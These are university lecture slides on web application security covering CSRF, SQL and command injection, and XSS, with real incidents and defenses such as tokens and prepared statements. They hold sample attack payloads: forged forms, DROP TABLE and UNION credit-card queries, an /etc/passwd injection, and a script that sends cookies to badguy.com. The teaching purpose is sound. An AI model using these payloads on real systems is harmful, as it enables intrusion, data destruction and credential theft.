Web Application Security

Vitaly Shmatikov

(most slides from the Stanford Web security group)
Reading Assignment

- “Robust Defenses for Cross-Site Request Forgery”
- “Advanced SQL Injection”
- “Cross Site Scripting Explained”
- “Postcards from the Post-XSS World”
Web Applications

◆ Big trend: software as a Web-based service
  • Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc.
  • Cloud computing

◆ Applications hosted on Web servers
  • Written in a mixture of PHP, Ruby, Java, Perl, ASP

◆ Security is rarely the main concern
  • Poorly written scripts with inadequate input validation
  • Sensitive data stored in world-readable files
  • Recent push from Visa and Mastercard to improve security of data management (PCI standard)
Top Web Vulnerabilities

- **XSRF (CSRF) - cross-site request forgery**
  - Bad website forces the user’s browser to send a request to a good website

- **SQL injection**
  - Malicious data sent to a website is interpreted as code in a query to the website’s back-end database

- **XSS (CSS) – cross-site scripting**
  - Malicious code injected into a trusted context (e.g., malicious data presented by an honest website interpreted as code by the user’s browser)
Cookie-Based Authentication Redux

Browser

POST/login.cgi

Set-cookie: authenticator

GET...
Cookie: authenticator

response

Server
Browser Sandbox Redux

- Based on the same origin policy (SOP)
- Active content (scripts) can send anywhere!
  - Some ports inaccessible - e.g., SMTP (email)
- Can only read response from the same origin
Cross-Site Request Forgery

- Users logs into bank.com, forgets to sign off
  - Session cookie remains in browser state
- User then visits a malicious website containing
  `<form name=BillPayForm action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.BillPayForm.submit(); </script>
  - Browser sends cookie, payment request fulfilled!
- **Lesson:** cookie authentication is not sufficient when side effects can happen
Sending a Cross-Domain POST

<form method="POST" action="http://othersite.com/file.cgi" encoding="text/plain">
<input type="hidden" name="Hello world!\n\n2¥+2¥" value="4¥">
</form>

<script>document.forms[0].submit()</script>

Hidden iframe can do this in the background

User visits a malicious page, browser submits form on behalf of the user

- Hijack any ongoing session
  - Netflix: change account settings, Gmail: steal contacts
- Reprogram the user’s home router
- Many other attacks possible
Cookies in Forged Requests

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.bank.com/transfer method=POST target=invisibleframe>
<input name=recipient value=attacker>
<input name=amount value=$100></form>
<script>document.forms[0].submit()</script>

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
Recipient=attacker&amount=$100
Cookie: SessionID=523FA4cd2E

HTTP/1.1 200 OK
Transfer complete!

www.bank.com

User credentials
XSRF (aka CSRF): Summary

1. establish session
2. visit server
3. receive malicious page
4. send forged request

Q: how long do you stay logged on to Gmail? Financial sites?
Remember Drive-By Pharming?

1. Configure router
2. Visit site
3. Receive malicious page
4. Send forged request

User

Home router

Bad website
XSRF True Story (1)

- User has a Java stock ticker from his broker’s website running in his browser
  - Ticker has a cookie to access user’s account on the site
- A comment on a public message board on finance.yahoo.com points to “leaked news”
  - TinyURL redirects to cybervillians.com/news.html
- User spends a minute reading a story, gets bored, leaves the news site
- Gets his monthly statement from the broker - $5,000 transferred out of his account!
XSRF True Story (2)

Alex Stamos

CyberVillians.com

Internet Exploder

www.cybervillians.com/news.html

Bernanke Really an Alien?

script

GET news.html

HTML and JS

HTML Form POSTs

StockBroker.com

ticker.stockbroker.com

Java

Hidden iframes submitted forms that...

- Changed user’s email notification settings
- Linked a new checking account
- Transferred out $5,000
- Unlinked the account
- Restored email notifications
XSRF Defenses

◆ Secret validation token

◆ Referer validation

◆ Custom HTTP header
Add Secret Token to Forms

◆ Hash of user ID
  • Can be forged by attacker

◆ Session ID
  • If attacker has access to HTML or URL of the page (how?), can learn session ID and hijack the session

◆ Session-independent nonce – Trac
  • Can be overwritten by subdomains, network attackers

◆ Need to **bind session ID to the token** (how?)
  • CSRFx, CSRFGuard - manage state table at the server
  • Keyed HMAC of session ID – no extra state!
Secret Token: Example
Referer Validation

- **Lenient** referer checking – header is optional
- **Strict** referer checking – header is required

Valid referers:

Invalid referers:
Why Not Always Strict Checking?

Why might the referer header be suppressed?

- Stripped by the organization’s network filter
- Stripped by the local machine
- Stripped by the browser for HTTPS → HTTP transitions
- User preference in browser
- Buggy browser

Web applications can’t afford to block these users

Referer rarely suppressed over HTTPS

- Logins typically use HTTPS – helps against login XSRF!
XSRF with Lenient Referer Checking

http://www.attacker.com

redirects to

common browsers don’t send referer header

ftp://www.attacker.com/index.html
javascript:"

<script> /* XSRF */ </script>"

data:text/html,"<script> /* XSRF */ </script>"
Custom Header

- XMLHttpRequest is for same-origin requests
  - Browser prevents sites from sending custom HTTP headers to other sites, but can send to themselves
  - Can use setRequestHeader within origin

- Limitations on data export
  - No setRequestHeader equivalent
  - XHR 2 has a whitelist for cross-site requests

- POST requests via AJAX
  - X-Requested-By: XMLHttpRequest

- No secrets required
Broader View of XSRF

- Abuse of cross-site data export
  - SOP does not control data export
  - Malicious webpage can initiates requests from the user’s browser to an honest server
  - Server thinks requests are part of the established session between the browser and the server

- Many reasons for XSRF attacks, not just “session riding”
Login XSRF

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34
Referer Header Helps, Right?

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
  <input name=username value=attacker>
  <input name=password value=xyzzy>
</form>
<script>document.forms[0].submit()</script>

POST /login HTTP/1.1
  Referer: http://www.attacker.com/blog
  username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

Web History for attacker
Apr 7, 2008
9:20pm  Searched for llamas
Laundering Referer Header

referer: http://www.siteA.com

referer: ??? (browser-dependent)
XSRF Recommendations

- **Login XSRF**
  - Strict referer validation
  - Login forms typically submitted over HTTPS, referer header not suppressed

- **HTTPS sites, such as banking sites**
  - Strict referer validation

- **Other sites**
  - Use Ruby-on-Rails or other framework that implements secret token method correctly
Other Identity Misbinding Attacks

◆ User’s browser logs into website, but site associates session with the attacker
  • Capture user’s private information (Web searches, sent email, etc.)
  • Present user with malicious content

◆ Many examples
  • Login XSRF is one example of this
  • OpenID
  • PHP cookieless authentication
OpenID

www.attacker.com

GET /blog HTTP/1.1

<script>
</script>

Victim Browser

GET /?nonce=ZA1Fa34 HTTP/1.1

HTTP/1.1 200 OK

livejournal.com
PHP Cookieless Authentication

```html
<script>
    location.href = "http://hushmail.com/" + "compose?PHPSESSID=ZA1Fa34";
</script>
```

- GET /blog HTTP/1.1
- GET /compose?PHPSESSID=ZA1Fa34 HTTP/1.1
- HTTP/1.1 200 OK
Server Side of Web Application

- Runs on a Web server (application server)
- Takes input from remote users via Web server
- Interacts with back-end databases and other servers providing third-party content
- Prepares and outputs results for users
  - Dynamically generated HTML pages
  - Content from many different sources, often including users themselves
    - Blogs, social networks, photo-sharing websites...
Dynamic Web Application

- **Browser**
- **GET / HTTP/1.0**
- **HTTP/1.1 200 OK**
- **Web server**
- **index.php**
- **Database server**
PHP: Hypertext Preprocessor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  `<input value=<<?php echo $myvalue; ?>>>`
- Can embed variables in double-quote strings
  `$user = "world"; echo "Hello $user!";`
  or `$user = "world"; echo "Hello" . $user . "!";`
- Form data in global arrays `$_GET`, `$_POST`, ...
Command Injection in PHP

Server-side PHP calculator:

\[
\begin{align*}
\text{$in = \$_GET['val'];} \\
\text{eval('\$op1 = ' . $in . ';');}
\end{align*}
\]

Good user calls


Bad user calls

http://victim.com/calc.php?val=5 ; system('rm *.*')

calc.php executes

\[
\text{eval('\$op1 = 5; system('rm *.*');');}
\]
More Command Injection in PHP

**Typical PHP server-side code for sending email**

```php
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")
```

**Attacker posts**

```plaintext
http://yourdomain.com/mail.pl?
    email=hacker@hackerhome.net&
    subject=foo < /usr/passwd; ls
```

OR

```plaintext
http://yourdomain.com/mail.pl?
    email=hacker@hackerhome.net&subject=foo;
    echo "evil::0:0:root:::/bin/sh">>/etc/passwd; ls
```
Widely used database query language

- Fetch a set of records
  
  SELECT * FROM Person WHERE Username='Vitaly'

- Add data to the table
  
  INSERT INTO Key (Username, Key) VALUES ('Vitaly', 3611BBFF)

- Modify data
  
  UPDATE Keys SET Key=FA33452D WHERE PersonID=5

- Query syntax (mostly) independent of vendor
Typical Query Generation Code

```php
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " . "WHERE Username='".$selecteduser."';
$rs = $db->executeQuery($sql);
```

◆ What if ‘user’ is a malicious string that changes the meaning of the query?
Typical Login Prompt

![Image of a typical login prompt]

- Enter User Name: smith
- Enter Password: •••••••
- Login
User Input Becomes Part of Query

Web browser (Client) → Enter Username & Password → Web server

Web server → SELECT passwd FROM USERS WHERE uname IS 'user' → DB
Normal Login

Web browser (Client) → Enter Username & Password → Web server → SELECT passwd FROM USERS WHERE uname IS ‘smith’ → DB
Malicious User Input

![User Login - Microsoft Internet Explorer](slide 39)

- Enter User Name: `'; DROP TABLE USERS; --`
- Enter Password: `********`

Address: `C:\LearnSecurity\hidden parameter example\authuser.html`
SQL Injection Attack

Web browser (Client) → Enter Username & Password → Web server

SELECT passwd FROM USERS WHERE uname IS ''); DROP TABLE USERS; -- '

DB

Eliminates all user accounts
Exploits of a Mom

http://xkcd.com/327/

HI, THIS IS YOUR SON’S SCHOOL. WE’RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR – DID HE BREAK SOMETHING?
IN A WAY –

DID YOU REALLY NAME YOUR SON Robert'); DROP TABLE Students;-- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE’VE LOST THIS YEAR’S STUDENT RECORDS. I HOPE YOU’RE HAPPY.
AND I HOPE YOU’VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
SQL Injection: Basic Idea

This is an input validation vulnerability
- Unsanitized user input in SQL query to backend database changes the meaning of query

Special case of command injection

Attacker ➔ Victim server ➔ Victim SQL DB

1. post malicious form
2. unintended query
3. receive data from DB
Authentication with Back-End DB

- set UserFound=execute(
  "SELECT * FROM UserTable WHERE 
  username=' " & form("user") & " ' AND 
  password= ' " & form("pwd") & " ' "
); User supplies username and password, this SQL query checks if user/password combination is in the database

- If not UserFound.EOF
  Authentication correct
  else Fail

Only true if the result of SQL query is not empty, i.e., user/pwd is in the database
Using SQL Injection to Log In

- User gives username \' OR 1=1 --
- Web server executes query

```sql
set UserFound=execute(
    SELECT * FROM UserTable WHERE
    username=\' OR 1=1 -- ... );
```

- Now all records match the query, so the result is not empty ⇒ correct “authentication”!

- Always true!
- Everything after -- is ignored!
Another SQL Injection Example

[From “The Art of Intrusion”]

- To authenticate logins, server runs this SQL command against the user database:

  ```sql
  SELECT * WHERE user='name' AND pwd='passwd'
  ```

- User enters ‘’ OR WHERE pwd LIKE ‘%’ as both name and passwd

- Server executes

  ```sql
  SELECT * WHERE user=' ' OR WHERE pwd LIKE ' %'
  AND pwd=' ' OR WHERE pwd LIKE ' %'
  ```

- Logs in with the credentials of the first person in the database (typically, administrator!)
It Gets Better

- User gives username
  
  ```
  ' exec cmdshell 'net user badguy badpwd' / ADD --
  ```

- Web server executes query

  ```
  set UserFound=execute(
      SELECT * FROM UserTable WHERE
      username= 'exec ... -- ... ');
  ```

- Creates an account for badguy on DB server
Pull Data From Other Databases

- User gives username

  ' AND 1=0
  UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards

- Results of two queries are combined

- Empty table from the first query is displayed together with the entire contents of the credit card database
More SQL Injection Attacks

◆ Create new users
  ‘; INSERT INTO USERS (‘uname’,‘passwd’,‘salt’) VALUES (‘hacker’,‘38a74f’, 3234);

◆ Reset password
  ‘; UPDATE USERS SET email=hcker@root.org WHERE email=victim@yahoo.com
Uninitialized Inputs

/* php-files/lostpassword.php */
for ($i=0; $i<=7; $i++)
    $new_pass .= chr(rand(97,122))
...
$result = dbquery("UPDATE \"users\" SET user_password=md5(\"\$new_pass\")
    WHERE user_id=\"\$data[\'user_id\']\"");

In normal execution, this becomes
UPDATE users SET user_password=md5(‘??????????’)
WHERE user_id=‘userid’
Exploit

Only works against older versions of PHP

User appends this to the URL:
&new_pass=badPwd%27%29%2c
user_level=%27103%27%2cuser_aim=%28%28

SQL query becomes
UPDATE users SET user_password=md5('badPwd'),
user_level='103', user_aim=('??????????')
WHERE user_id='userid'

This sets $new_pass to badPw
User’s password is set to ‘badPw’
... with superuser privileges
Second-Order SQL Injection

- Data stored in the database can be later used to conduct SQL injection
- For example, user manages to set `uname` to `admin' --`
  - This vulnerability could exist if input validation and escaping are applied inconsistently
    - Some Web applications only validate inputs coming from the Web server but not inputs coming from the back-end DB
  - `UPDATE USERS SET passwd='cracked' WHERE uname='admin' --`
- Solution: treat **all** parameters as dangerous
CardSystems Attack (June 2005)

- CardSystems was a major credit card processing company
- Put out of business by a SQL injection attack
  - Credit card numbers stored unencrypted
  - Data on 263,000 accounts stolen
  - 43 million identities exposed
SQL Injection in the Real World

- Oklahoma Department of Corrections divulges thousands of social security numbers (2008)
  - Sexual and Violent Offender Registry for Oklahoma
  - Data repository lists both offenders and employees
- “Anyone with a web browser and the knowledge from Chapter One of SQL for Dummies could have easily accessed – and possibly, changed – any data within the DOC's databases"
Hundreds of Thousands of Microsoft Web Servers Hacked

Hundreds of thousands of Web sites - including several at the United Nations and in the U.K. government - have been hacked recently and seeded with code that tries to exploit security flaws in Microsoft Windows to install malicious software on visitors' machines.

The attackers appear to be breaking into the sites with the help of a security vulnerability in Microsoft's Internet Information Services (IIS) Web servers. In an alert issued last week, Microsoft said it was investigating reports of an unpatched flaw in IIS servers, but at the time it noted that it wasn't aware of anyone trying to exploit that particular weakness.

Update, April 29, 11:28 a.m. ET: In a post to one of its blogs, Microsoft says this attack was not the fault of a flaw in IIS: "..our investigation has shown that there are no new or unknown vulnerabilities being exploited. This wave is not a result of a vulnerability in Internet Information Services or Microsoft SQL Server. We have also determined that these attacks are in no way related to Microsoft Security Advisory (951306). The attacks are facilitated by SQL injection exploits and are not issues related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies. SQL injection attacks enable malicious users to execute commands in an application's database. To protect against SQL injection attacks the developer of the Web site or application must use industry best practices outlined here. Our counterparts over on the IIS blog have written a post with a wealth of information for web developers and IT Professionals can take to minimize their exposure to these types of attacks by minimizing the attack surface area in their code and server configurations."

Shadowserver.org has a nice writeup with a great deal more information about the mechanics behind this attack, as does the SANS Internet Storm Center.
Main Steps in April 2008 Attack

- Use Google to find sites using a particular ASP style vulnerable to SQL injection
- Use SQL injection to modify the pages to include a link to a Chinese site nihaorr1.com
  - Do not visit that site – it serves JavaScript that exploits vulnerabilities in IE, RealPlayer, QQ Instant Messenger
- Attack used automatic tool; can be configured to inject whatever you like into vulnerable sites
- There is some evidence that hackers may have gotten paid for each victim’s visit to nihaorr1.com
Part of the SQL Attack String

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+" ")
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(%20AS%20NVARCHAR(4000));EXEC(@S);--
Preventing SQL Injection

◆ Validate all inputs
  • Filter out any character that has special meaning
    – Apostrophes, semicolons, percent symbols, hyphens, underscores, ...
  • Check the data type (e.g., input must be an integer)

◆ Whitelist permitted characters
  • Blacklisting “bad” characters doesn’t work
    – Forget to filter out some characters
    – Could prevent valid input (e.g., last name O’Brien)
  • Allow only well-defined set of safe values
    – Set implicitly defined through regular expressions
Escaping Quotes

- Special characters such as ‘ provide distinction between data and code in queries
- For valid string inputs containing quotes, use escape characters to prevent the quotes from becoming part of the query code
- Different databases have different rules for escaping
  - Example: escape(o’connor) = o\’connor or escape(o’connor) = o”connor
In most injection attacks, data are interpreted as code – this changes the semantics of a query or command generated by the application.

**Bind variables**: placeholders guaranteed to be data (not code)

**Prepared statements** allow creation of static queries with bind variables; this preserves the structure of the intended query.
PreparedStatement ps =
    db.prepareStatement("SELECT pizza, toppings, quantity, order_day "+ "FROM orders WHERE userid=? AND order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
ResultSet res = ps.executeQuery();

- Query is parsed without data parameters
- Bind variables are typed (int, string, ...)

But beware of second-order SQL injection...
Parameterized SQL in ASP.NET

- Builds SQL queries by properly escaping args
  - Replaces ‘ with \\’

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);
cmd.Parameters.Add("@User", Request["user"]);
cmd.Parameters.Add("@Pwd", Request["pwd"]);
cmd.ExecuteReader();
```
More Bad Input Validation

[From “The Art of Intrusion”]

- Web form for traceroute doesn’t check for “&” ⇒ type <IP addr> & <any shell command>
- PHF (phonebook) CGI script does not check input for newline ⇒ execute any shell command
  - Open xterm to attacker’s X server, display pwd file
  - Use it to show directory contents, learn that Apache is running as “nobody”, change config file so that it runs as “root” next time, break in after a blackout
- Perl script doesn’t check for backticks ⇒ steal mailing list from a porn site for spamming
Echoing / “Reflecting” User Input

Classic mistake in server-side applications

http://naive.com/search.php?term="Britney Spears"

search.php responds with
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>... </body>

Or

GET/ hello.cgi?name=Bob

hello.cgi responds with
<html>Welcome, dear Bob</html>
Cross-Site Scripting (XSS)

Why does the browser allow this?

Access some web page

What is the ORIGIN of this script?

GET/ steal.cgi?cookie=

forces victim’s browser to call hello.cgi on naive.com with this script as “name”

GET/ hello.cgi?name=

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

How about this one?

GET/ hello.cgi?name=

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

evil.com

naive.com

hello.cgi

hello.cgi executed

victim’s browser
Reflected XSS

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog
- Bug in website code causes it to echo to the user’s browser an *arbitrary attack script*
  - The origin of this script is now the website itself!
- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy
Basic Pattern for Reflected XSS

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Send valuable data

User victim → Attack server → Server victim
Adobe PDF Viewer  (before version 7.9)

- PDF documents execute JavaScript code
  
  http://path/to/pdf/file.pdf#whatever_name_you_want=
  javascript:code_here

- The “origin” of this injected code is the domain where PDF file is hosted
XSS Against PDF Viewer

- Attacker locates a PDF file hosted on site.com
- Attacker creates a URL pointing to the PDF, with JavaScript malware in the fragment portion
  
  http://site.com/path/to/file.pdf#s=javascript:malcode

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, malware executes
  
  - Its “origin” is site.com, so it can change content, steal cookies from site.com
Not Scary Enough?

PDF files on the local filesystem:

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");

JavaScript malware now runs in local context with the ability to read and write local files ...
Where Malicious Scripts Lurk

◆ User-created content
  • Social sites, blogs, forums, wikis

◆ When visitor loads the page, website displays the content and visitor’s browser executes the script
  • Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Steal valuable data

User victim

Users view or download content

Server victim

Attack server

Store bad stuff
XSS in Orkut

Orkut: Google’s social network
- 37 million members (2006), very popular in Brazil

Bug allowed users to put scripts in their profiles... when user views infected profile, script grabs cookie, transfers all user-owned groups to attacker

Another Orkut virus: attack script in a Flash file
- Virus adds malicious Flash as a “scrap” to the user’s profile; everybody who views that profile is infected, too
  - Exponential propagation!
- Every viewer of infected profile is joined to a community
  - “Infectatos pelo Virus do Orkut” (655,000 members at peak!)
Twitter Worm (2009)

Can save URL-encoded data into Twitter profile
Data not escaped when profile is displayed
Result: StalkDaily XSS exploit

- If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authhtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authhtoken+"&user[url]="+xss+"&tab=home&update=update")
```
# XSS in the Wild

http://xssed.com/archive

<table>
<thead>
<tr>
<th>Date</th>
<th>Author</th>
<th>Domain</th>
<th>R</th>
<th>S</th>
<th>F</th>
<th>PR</th>
<th>Category</th>
<th>Mirror</th>
</tr>
</thead>
<tbody>
<tr>
<td>13/09/13</td>
<td>Robert K</td>
<td><a href="http://www.paypal.com">www.paypal.com</a></td>
<td>R</td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>Aarshit Mittal</td>
<td>maps.nokia.com</td>
<td></td>
<td>⭐</td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>Aarshit Mittal</td>
<td>admin.stage.att.net</td>
<td>⭐</td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.enjoy.net.mm">www.enjoy.net.mm</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td>chemicaltechnologyinc.com</td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.jaring.my">www.jaring.my</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.seagoffice.org">www.seagoffice.org</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>09/09/13</td>
<td>PlanetCreator</td>
<td><a href="http://www.eds.com.mm">www.eds.com.mm</a></td>
<td></td>
<td></td>
<td></td>
<td>0</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>20/06/13</td>
<td>Xartrick</td>
<td><a href="http://www.dolby.com">www.dolby.com</a></td>
<td></td>
<td>⭐</td>
<td></td>
<td>80524</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>20/06/13</td>
<td>rsb</td>
<td><a href="http://www.xe.gr">www.xe.gr</a></td>
<td></td>
<td>⭐</td>
<td></td>
<td>7113</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>18/04/13</td>
<td>Atm0n3r</td>
<td>pastebin.mozilla.org</td>
<td>⭐</td>
<td></td>
<td></td>
<td>156</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>14/04/13</td>
<td>Hexspirit</td>
<td><a href="http://www.kcna.kp">www.kcna.kp</a></td>
<td></td>
<td>⭐</td>
<td></td>
<td>113539</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>22/01/13</td>
<td>0c001</td>
<td><a href="http://www.athinorama.gr">www.athinorama.gr</a></td>
<td></td>
<td>⭐</td>
<td></td>
<td>13093</td>
<td>Redirect</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>Christy Philip Mathew</td>
<td>cms.paypal.com</td>
<td></td>
<td>⭐</td>
<td></td>
<td>39</td>
<td>Phishing</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>Cyb3R_Shuhh4M</td>
<td><a href="http://www.ebay.com">www.ebay.com</a></td>
<td>R</td>
<td>⭐</td>
<td></td>
<td>23</td>
<td>Script Insertion</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>Cyb3R_Shuhh4M</td>
<td><a href="http://www.ebay.com">www.ebay.com</a></td>
<td>R</td>
<td>⭐</td>
<td></td>
<td>23</td>
<td>Script Insertion</td>
<td>mirror</td>
</tr>
<tr>
<td>13/11/12</td>
<td>OxAli</td>
<td>answercenter.ebay.com</td>
<td>R</td>
<td>⭐</td>
<td></td>
<td>23</td>
<td>XSS</td>
<td>mirror</td>
</tr>
<tr>
<td>08/10/13</td>
<td>Talented Ford</td>
<td><a href="http://www.maid-to-promote.net">www.maid-to-promote.net</a></td>
<td></td>
<td></td>
<td></td>
<td>30581</td>
<td>XSS</td>
<td>mirror</td>
</tr>
</tbody>
</table>
stored XSS using images

Suppose pic.jpg on web server contains HTML

- Request for http://site.com/pic.jpg results in:
  HTTP/1.1 200 OK
  ...
  Content-Type: image/jpeg
  <html> fooled ya </html>
- IE will render this as HTML (despite Content-Type)

Photo-sharing sites

- What if attacker uploads an “image” that is a script?
XSS of the Third Kind

- Script builds webpage DOM in the browser

```html
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
</HTML>
```

- Works fine with this URL
  - http://www.example.com/welcome.html?name=Joe

- But what about this one?
Using Login XSRF for XSS

www.attacker.com

GET /blog HTTP/1.1

<form action="https://www.google.com/login" method="POST" target="invisibleframe">
  <input name="username" value="attacker" />
  <input name="password" value="xyzzy" />
</form>

<script>document.forms[0].submit();</script>

POST /login HTTP/1.1

Referer: http://www.attacker.com/blog
Username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

get /ig
Cookie: SessionID=ZA1Fa34

HTTP/1.1 200 OK

GET /history HTTP/1.1

www.google.com

Victim Browser
Malicious scripts may be ...

- Contained in arguments of dynamically created JavaScript
- Contained in JavaScript arrays
- Dynamically written into the DOM
XSS in AJAX (1)

- Downstream JavaScript arrays

```javascript
var downstreamArray = new Array();
downstreamArray[0] = "42"; doBadStuff(); var bar="ajacked";
```

- Won’t be detected by a naïve filter
  - No <->, “script”, onmouseover, etc.

- Just need to break out of double quotes
XSS in AJAX (2)

- JSON written into DOM by client-side script

```javascript
var inboundJSON = {
  "people": [
    {
      "name": "Joel",
      "address": "<script>badStuff();</script>",
      "phone": "911"
    } ]
};

someObject.innerHTML(inboundJSON.people[0].address); // Vulnerable

document.write(inboundJSON.people[0].address); // Vulnerable

someObject.innerText(inboundJSON.people[0].address); // Safe
```

- XSS may be already in DOM!
  - `document.url`, `document.location`, `document.referer`
Backend AJAX Requests

“Backend” AJAX requests

- Client-side script retrieves data from the server using XMLHttpRequest, uses it to build webpage in browser
- This data is meant to be converted into HTML by the script, never intended to be seen directly in the browser

Example: WebMail.com

Request:

Response:
var messageArray = new Array();
messageArray[0] = “This is an email subject”;

Raw data, intended to be converted into HTML inside the browser by the client-side script
XSS in AJAX (3)

[Alex Stamos]

◆ Attacker sends the victim an email with a script:
  • Email is parsed from the data array, written into HTML with innerText(), displayed harmlessly in the browser

◆ Attacker sends the victim an email with a link to backend request and the victim clicks the link:

The browser will issue this request:

... and display this text:
var messageArray = new Array();
messageArray[0] = "<script>var i = new Image();
  i.src='http://badguy.com/' + document.cookie;
</script>"
How to Protect Yourself

- Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields against a rigorous specification of what should be allowed.

- Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.

- We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.

Source: Open Web Application Security Project
What Does This Script Do?
Preventing Cross-Site Scripting

- Any user input and client-side data **must** be preprocessed before it is used inside HTML
- Remove / encode (X)HTML special characters
  - Use a good escaping library
    - OWASP ESAPI (Enterprise Security API)
    - Microsoft’s AntiXSS
  - In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    - ‘ becomes &#039; “ becomes &quot; & becomes &amp;
  - In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

Preventing injection of scripts into HTML is hard!

- Blocking "<" and ">" is not enough
- Event handlers, stylesheets, encoded inputs (%3C), etc.
- phpBB allowed simple HTML tags like `<b>`

```html
<b c=""> onmouseover="script" x="<b">Hello<b>
```

Beware of filter evasion tricks (XSS Cheat Sheet)

- If filter allows quoting (of `<script>`, etc.), beware of malformed quoting: `<IMG """">`<SCRIPT>alert("XSS")</SCRIPT>``
- Long UTF-8 encoding
- Scripts are not only in `<script>`:

```html
<iframe src=`https://bank.com/login’ onload=`steal()’>
```
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - ... but does allow `<div>` tags for CSS. K00L!
    - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  - Convert from decimal instead:
    `alert('double quote: ' + String.fromCharCode(34))`
